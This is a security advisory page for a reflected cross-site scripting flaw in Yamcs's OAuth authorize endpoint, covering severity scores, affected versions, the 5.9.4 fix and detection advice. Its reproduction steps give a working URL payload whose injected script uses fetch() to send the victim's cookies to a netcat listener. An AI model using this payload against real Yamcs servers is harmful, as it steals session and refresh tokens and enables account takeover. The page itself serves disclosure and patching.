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MEDIUM severity

Yamcs has Reflected XSS in the URL of the Authorize EndpointGHSA-rxpg-wjf8-qv9c

MEDIUMFix: yamcs/yamcs@4d47d5c

GHSA-rxpg-wjf8-qv9c is a medium-severity (CVSS 6.5) Cross-site Scripting (XSS) vulnerability in org.yamcs:yamcs-core. A fix is available for org.yamcs:yamcs-core — see the affected versions and patch details below.

Also known asCVE-2026-55549
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 13, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-rxpg-wjf8-qv9c.

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs70th percentile — riskier than 70% of all scored CVEsHighest risk
0.00%0.60%1.20%1.80%0.4%1.3%1.3%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-rxpg-wjf8-qv9c by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
☕org.yamcs:yamcs-core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Attack type: 

Unauthenticated remote 

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />

You then use JavaScript to obtain the user's cookies and display them in the alert:

<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

  1. Start Yamcs
  2. Login as a user
  3. In a terminal, start a netcat listener:
nc -nlvp 8888
  1. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
  1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenorg.yamcs:yamcs-coreall versions5.9.4org.yamcs:yamcs-core:5.9.4

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.yamcs:yamcs-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update org.yamcs:yamcs-core to 5.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rxpg-wjf8-qv9c is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

How to detect GHSA-rxpg-wjf8-qv9c

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id ghsa-rxpg-wjf8-qv9c -u https://target
Template
Yamcs <=5.8.6 - Cross-Site Scripting
Severity
medium
Impact
Attackers can execute JavaScript in victim's browser to steal authentication tokens, leading to account compromise.
Remediation
Update to version 5.9.4 or later.

Template by ProjectDiscovery nuclei-templates (str4k3r), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

### Attack type:  Unauthenticated remote  ### Impact: Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token. ### Affected components: authorize.html, AuthHandler.java, HandlerContext.java A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account. Using a specially craf
O3 Security · Impact-Aware SCA

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